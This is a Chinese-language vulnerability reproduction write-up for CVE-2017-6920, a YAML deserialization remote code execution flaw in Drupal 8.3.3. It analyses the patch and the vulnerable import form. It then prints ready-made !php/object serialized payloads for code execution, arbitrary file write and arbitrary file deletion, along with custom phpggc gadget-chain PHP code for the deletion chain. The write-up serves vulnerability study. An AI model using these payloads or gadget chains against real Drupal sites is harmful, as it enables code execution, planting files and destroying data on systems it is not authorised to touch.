0%

Drupal 8.3.3 CVE-2017-6920调试复现

前言

本次复现调试环境为ubuntu 16.04php5.4。在这里出现一个小插曲。本次漏洞触发需要用到yaml,环境配置的时候编译安装yaml出现错误。最后莫名其妙采用apt-get install php-yaml安装成功。修改php.ini中的extension_dir为该扩展所在目录,然后加上extension=yaml.so就可以了。最后重启apache,看到phpinfo中有yaml扩展,就说明安装成功,如下图:

label

还有在用phpstorm调试漏洞的时候,发现几个利用到的文件都不存在。后来发现我采用的远程调试,服务器端使用composer install安装了需要的包,但是phpstorm中使用的是下载下来的drupal 8.3.3源码,没有包含需要用到的包。在本地drupal 8.3.3源码包中执行composer install即可。总结一条小经验,后续在源码审计的时候,先不管三七二十一,执行composer install安装依赖包

漏洞描述

2017年6月21日,Drupal官方发布了一个编号为CVE-2017- 6920 的漏洞,影响为Critical。这是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core。漏洞触发需要登录后台。

漏洞分析

通过diff 8.3.3与8.3.4的文件可以发现漏洞的触发点,主要修改点在core/lib/Drupal/Component/Serialization/YamlPecl.php文件decode方法如下图:

label

可见在yaml_parse前进行了ini_set('yaml.decode_php', 0);

用户可控制的参数$raw直接传给了yaml_parse函数,而在手册上关于yaml_parse函数有这么一个注意点:

Warning

Processing untrusted user input with yaml_parse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decode_php ini setting.

也就是说,如果使用了yaml标志!php/object,那么这个内容会通过unserialize()进行处理,设置yaml.decode_php则可以禁止,这就是为什么补丁增加了这行代码。

看一下调用decode()方法的地方,core/lib/Drupal/Component/Serialization/Yaml.php

labelYaml类的decode()方法调用了static::getSerializer()方法,跟入

label 可以看到加载了yaml扩展后就会进入YamlPecl类,进而调用Yaml::decode()方法,搜索调用Yaml::decode并且参数能被控制的地方,在core/modules/config/src/Form/ConfigSingleImportForm.phpvalidateForm()方法:

1
$data = Yaml::decode($form_state->getValue('import'));

validateForm()的调用处在http://172.16.26.132/drupal/admin/config/development/configuration/single/importdecode()的参数直接从表单获取,于是通过import将恶意参数传递进去。

要利用该漏洞进行远程代码执行,需要一个可以利用的类。Drupal使用命名空间的方式来管理类,可以全局实例化一个类,也可以反序列化一个类;该漏洞利用了反序列,因此需要找一个反序列类。通过_destruct以及_wakeup来定位类,全局搜索可以找到几个可利用的类。

(1)/vendor/symfony/process/Pipes/WindowsPipes.php中的89行:

label

label

通过反序列化这个类可以造成一个任意文件删除。

(2)/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php中第37行:

drupal5

通过反序列化这个类可以造成写入webshell。

(3)/vendor/guzzlehttp/psr7/src/FnStream.php中第48行:

label通过反序列化这个类可以造成任意无参数函数执行。

漏洞验证

1.远程代码执行

利用phpggc生成序列化数据:

label注意序列化数据中的空字符,需要转换。在这里先把序列化的数据保存到文件,然后利用addslashes来转换字符。接着拼接YAML_PHP_TAG!php/object,最终生成的字符串如下:

1
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\0GuzzleHttp\\HandlerStack\0handler\";s:1:\"1\";s:30:\"\0GuzzleHttp\\HandlerStack\0stack\";a:1:{i:0;a:1:{i:0;s:7:\"phpinfo\";}}s:31:\"\0GuzzleHttp\\HandlerStack\0cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"

http://172.16.26.132/drupal/admin/config/development/configuration/single/import import 序列化后的数据,便可以执行代码

label执行结果如下:

label

2.任意文件写入

看一下phpggc中有关FileCookieJar类的部分

label

label

转义拼接之后,最后生成的字符串如下:

1
2
!php/object "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0filename\";s:34:\"/var/www/htdocs/drupal/phpinfo.php\";s:52:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0storeSessionCookies\";b:1;s:36:\"\0GuzzleHttp\\Cookie\\CookieJar\0cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\0GuzzleHttp\\Cookie\\SetCookie\0data\";a:3:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:20:\"<?php phpinfo(); ?>
\";}}}s:39:\"\0GuzzleHttp\\Cookie\\CookieJar\0strictMode\";N;}"

import之后查看发现,在指定目录下生成了phpinfo.php文件。

3. 任意文件删除

phpggc中没有内置这个类,于是我们按照这个工具的框架来实现一下,方便理解该工具。

lib/PHPGGC/GadgetChain.php已经有TYPE_FD这个类型,代表file_delete,那么我们直接在lib/PHPGGC/GadgetChain/注册一个FileDeletephpggc最新版已经存在这个文件。

这个类就可以作为 POP 链拿来使用了

然后在Symfony目录下创建FD/1,并创建chaingadgets

gadgetchains/Symfony/FD/1/chain.php的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

namespace GadgetChain\Symfony;

class FD1 extends \PHPGGC\GadgetChain\FileDelete
{
public static $version = '2.6 <= 2.8.32';
public static $vector = '__destruct';
public static $author = '010monkey';
public static $informations = 'Remove remote file.';
public static $parameters = [
'file_name'
];

public function generate(array $parameters)
{
$input = $parameters['file_name'];

return new \Symfony\Component\Process\Pipes\WindowsPipes($input);
}
}

gadgetchains/Symfony/FD/1/gadgets.php的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

namespace Symfony\Component\Process\Pipes;


class WindowsPipes
{
private $files = array();

public function __construct($input)
{
$this->files = array($input);
}

}

我们直接生成WindowsPipes的序列化数据,把文件名作为参数传入,在反序列化的时候自动调用removeFiles(),实现任意文件删除。

label转移拼接之后,最后生成的字符串如下:

1
!php/object "O:44:\"Symfony\\Component\\Process\\Pipes\\WindowsPipes\":1:{s:51:\"\0Symfony\\Component\\Process\\Pipes\\WindowsPipes\0files\";a:1:{i:0;s:34:\"/var/www/htdocs/drupal/phpinfo.php\";}}"

import之后,发现目录下的phpinfo.php已经被删除了。